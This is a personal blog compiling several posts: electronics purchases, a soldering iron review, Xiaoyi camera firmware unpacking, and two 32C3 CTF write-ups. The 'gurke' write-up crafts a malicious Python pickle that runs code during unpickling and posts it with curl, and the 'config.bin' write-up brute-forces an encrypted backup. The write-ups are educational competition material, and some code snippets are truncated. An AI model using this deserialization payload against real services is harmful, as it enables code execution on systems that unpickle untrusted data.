Quick Update: Mailbag and WIP

Sorry I haven’t been updating the blog often enough.

I have been busy helping out with an electronics project, which will be in the hands of users very soon. There will be a detailed post on the project when that happens this coming weekend. For now, here’s a mysterious peek at its progress:

Ever since I made my first purchase on AliExpress, I have been buying random stuff and they’ve been arriving in batches. On a particular week, they might all combine to form a small pile, somewhat like this:

small pile of mailbag items

If you enjoy watching people buy stuff on AliExpress, eBay, or wherever else and taking them to bits, check out these YouTube channels I subscribe to:

I prefer bigclivedotcom because he shares a lot of insight from his previous job during the teardowns and draws the schematic for most of the items he takes apart.

A protip when buying on AliExpress is to read the reviews first. This may be obvious, but I didn’t do it for the first few items and managed to get away with it, until one incident when my luck apparently ran out. Now I prefer sellers with better reviews over those who offer the lowest price for a particular item. I also pay it forward by contributing to reviews with photos and technical details of the items, to help buyers like myself.

So what can you get on AliExpress?

  • Tools like spudgers, device openers, anti-static poking sticks
  • Soldering iron tips, to complement the soldering iron I just bought
  • Chinese components, like the popular ESP8266
  • Breakout boards
  • Alternative ARM boards, like the Orange Pi One that rivals the Raspberry Pi 2 in terms of price & performance

I bought quite a lot of stuff to work on and I’ll be writing about those projects in time.

A surprise package also came in last week. Unlike the other packages delivered via regular mail, this one was shipped via FedEx.

MPLAB Xpress on the FedEx Small Box it came in

Inside the FedEx Small Box was an even smaller box — the Microchip MPLAB Xpress Evaluation Board. I signed up shortly after I saw the announcement on Hackaday in February and heard nothing back. It took 4 months but I’m supposedly one of the lucky 2,000 sign-ups who received the board for free.

On the evaluation board there’s a PIC16F18855 microcontroller, together with a very under-utilized PIC18F25K50, which presents itself as a USB mass storage device when plugged in and serves to programs the PIC16F. MPLAB Xpress is a cloud-based IDE requiring no installation, and using this mass storage programming approach you don’t need any special USB drivers for the programmer. I’ll give that a go and report back here in a separate blog post.

In the meantime, stay tuned for the post on the mystery project this weekend!

32C3 CTF Write-up: gurke

gurke (misc)

For this challenge, you are provided with a Python-based service that accepts a pickle and displays the result. You will need to coerce it to display the flag though, which is initialized at the start of the service.

The service can be succinctly represented as follows:

class Flag(object):
    def __init__(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("", 1234))
        self.flag = s.recv(1024).strip()
flag = Flag()


data = os.read(0, 4096)
    res = pickle.loads(data)
    print 'res: %r\n' % res except Exception as e:
    print >>sys.stderr, "exception", repr(e)

In between there’s a omitted portion that uses seccomp to make sure you don’t obtain the flag through the socket connection. In essence, you need to cause the unpickling process to read the flag attribute from the Flag instance.

Pickling and unpickling is quite commonly used in Python for persistence, much like Java’s serialization mechanism. However, it is implemented in Python using a simple stack-based virtual machine. By sending a specially-crafted pickle, we can cause arbitrary code execution. The Python code to read the flag looks something like this:

a = __main__.flag
return __builtin__.getattr(a, 'flag')

This has to be converted into the Pickle VM opcodes by hand. You can see below that the pickle opcodes are quite a close match to the Python code. Also note that Python has a handy disassembler that dumps the pickle opcodes:

import pickletools

exploit = """c__main__\nflag


  0: c    GLOBAL     '__main__ flag'
 15: p    PUT        100
 20: 0    POP
 21: c    GLOBAL     '__builtin__ getattr'
 42: (    MARK
 43: g        GET        100
 48: S        STRING     'flag'
 56: t        TUPLE      (MARK at 42)
 57: R    REDUCE
 58: .    STOP

Note that Python triple-quotes will capture newlines into the string. Now the exploit pickle needs to be placed in a file and sent off using curl to our target:

$ curl -vv -X POST --data-binary @t.pickle
* About to connect() to port 80 (#0)
*   Trying connected
* Connected to ( port 80 (#0)
> POST / HTTP/1.1
> User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.19.1 Basic ECC zlib/1.2.3 libidn/1.18 libssh2/1.4.2
> Host:
> Accept: */*
> Content-Length: 60
> Content-Type: application/x-www-form-urlencoded
< HTTP/1.1 200 OK
< Content-Type: application/octet-stream
* no chunk, no close, no size. Assume close to signal end
1: res: '32c3_rooDahPaeR3JaibahYeigoong'

retval: 0
* Closing connection #0

Further reading for Python pickles and security:

32C3 CTF Write-up: config.bin

config.bin (forensics)

You are provided with what they say is “a configuration backup of an embedded device”, and that “it seems to be encrypted”.

Opening the file with a hex editor to look for any magic identifiers:

00: 4346 4731 0000 32d0 ef92 7ab0 5ab6 d80d  CFG1..2...z.Z...
10: 3030 3030 3030 0000 0005 0003 0000 0000  000000..........
20: 6261 47c3 d43b af2f 9300 bcaf adf4 5c8c  baG..;./......\.
30: 3d02 9ea5 0bb7 3ce0 00f4 c5b3 901e d5fb  =.....<.........

It doesn’t look familiar, so ask Google about the CFG1 file. On the second or third results page, I found this link talking about an IAD backup file in which the backup file format resembles our mystery file.

The page further notes that encryption is done through AES-256 in ECB mode, and that the 256-bit key is the ASCII string “dummy” with the rest zero-filled. There’s even a tool to decrypt it. After downloading the tool and running it, you will soon realize that the default password doesn’t work (obviously).

Fear not. This file format is pretty helpful for us though. Notice there’s a field called password_len_be, which is the length of the AES password string and plaintext_md5, which is the MD5 hash of the decrypted data. With these 2 fields (maybe just the last one), we can automate the bruteforcing.

Our file header says that a 5 character password is used (phew), but the character set is unknown. It could be all 256 characters, or hopefully just an alphanumeric string (I assumed the latter).

I wrote a multi-threaded Golang bruteforcer (which you can download here). I guess this is the time I wish I had access to a really fast machine. After an hour, it found the password:

> go run bruteforce-cfg1.go config.bin
hdr hash = ef927ab05ab6d80d98c3be34a50db59c
data hash = 626147c3d43baf2f9300bcafadf45c8c
found password! oVX09

Decode it with the tool, and you will find a gzipped file config.tgz. After uncompressing it, I noticed the passwords were all short and didn’t have the regular 32C3_ prefix, until I found a suspiciously long one:


Using Python for base64 decoding:

>>> from base64 import b64decode
>>> b64decode('MzJDM19jNDQ2ZWRlMjMzY2RmY2IxNzdmNGQwZTU2NzQ0NjU0Mjg5YzhkZWE0YzRlZTY1MTI2NGU4\nNWU5YWU2MmFiZjc3')

And voila!

CXG 936d Temperature-Controlled Soldering Iron

A few weeks ago, I watched a Mike’s Electric Stuff video in which he was talking about options for portable soldering irons:

The first soldering iron he talked about seems to be interesting. It’s a soldering iron with temperature control, but everything is built into the form factor of a regular soldering iron. He also showed the insides of the iron, which uses a triac to control the supply, hence eliminating the need for the bulky 24V transformer found in most soldering stations.

Ever since my temperature-controlled soldering station died, I was left without one and fell back to using my cheap 20W iron. I was previously using the Duratool D00673 from element14, which is actually just a re-branded Zhongdi ZD-916. It was really expensive (S$120), so when it died after very infrequent use, I didn’t think it was worth it to get a replacement unit.

The 24V transformer is quite heavy and accounts for most of the weight of this unit, so trying to ship it from overseas was also not worth it. After it died, I tore it down and found that its construction was pretty crappy:

If you want to see more teardown photos and a review of sorts, check out
this EEVBlog forum thread. Of course I have verified that this crappy connector job wasn’t the cause of failure. My preliminary troubleshooting found that the power supply seemed to be working, but there was nothing on the LCD display nor was it responding (no beeps on keypresses).

Thanks to this video, I realized that there are alternative products that combine the best of both worlds.

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Unpacking Xiaoyi Firmware Images

Xiaoyi camera

I recently decided to buy new toys to monitor my home — the Xiaoyi IP Camera (I bought more than one). The device itself is round, rather small (as pictured here) and fits into a plastic stand to prop it up. It accepts a microSD card for local recording, and it is only accessible via their iOS/Android app after pairing. The camera is only 720P and goes for 149 RMB (less than US$25).

Since these devices can see a live stream of my house at any time, I would prefer them to be completely within my control. This can be done either via an audit of the firmware or by replacing the firmware with your own (both options are equally tedious). After the “B” firmware version, they also removed RTSP streaming support. You could downgrade to the “B” version, but you won’t benefit from newer changes they have added since then. Let’s get to it.

You can find the firmware images of the Xiaoyi camera online, typically in a ZIP file. I have provided links to this at the end. Unpacking the ZIP file gives you a single file called home. Running the file command reveals that this is a U-Boot image with the file system image tacked on:

home: u-boot legacy uImage, 7518-hi3518-home, Linux/ARM, Filesystem Image (any type) (Not compressed), 7974512 bytes, Wed Jan 21 16:14:18 2015, Load Address: 0x00000000, Entry Point: 0x00000000, Header CRC: 0x2F0FAD85, Data CRC: 0x4B21D5F9

To get to the file system image, a StackExchange answer recommended using U-Boot’s mkimage and a bit of file manipulation to carve out the data. This made me almost want to write my own tool in Python but fortunately someone had already done this before. Use uImage.py from that site to extract the file system image from this home. The file system image is a JFFS2 image named 7518-hi3518-home, and our next mission is to mount it.

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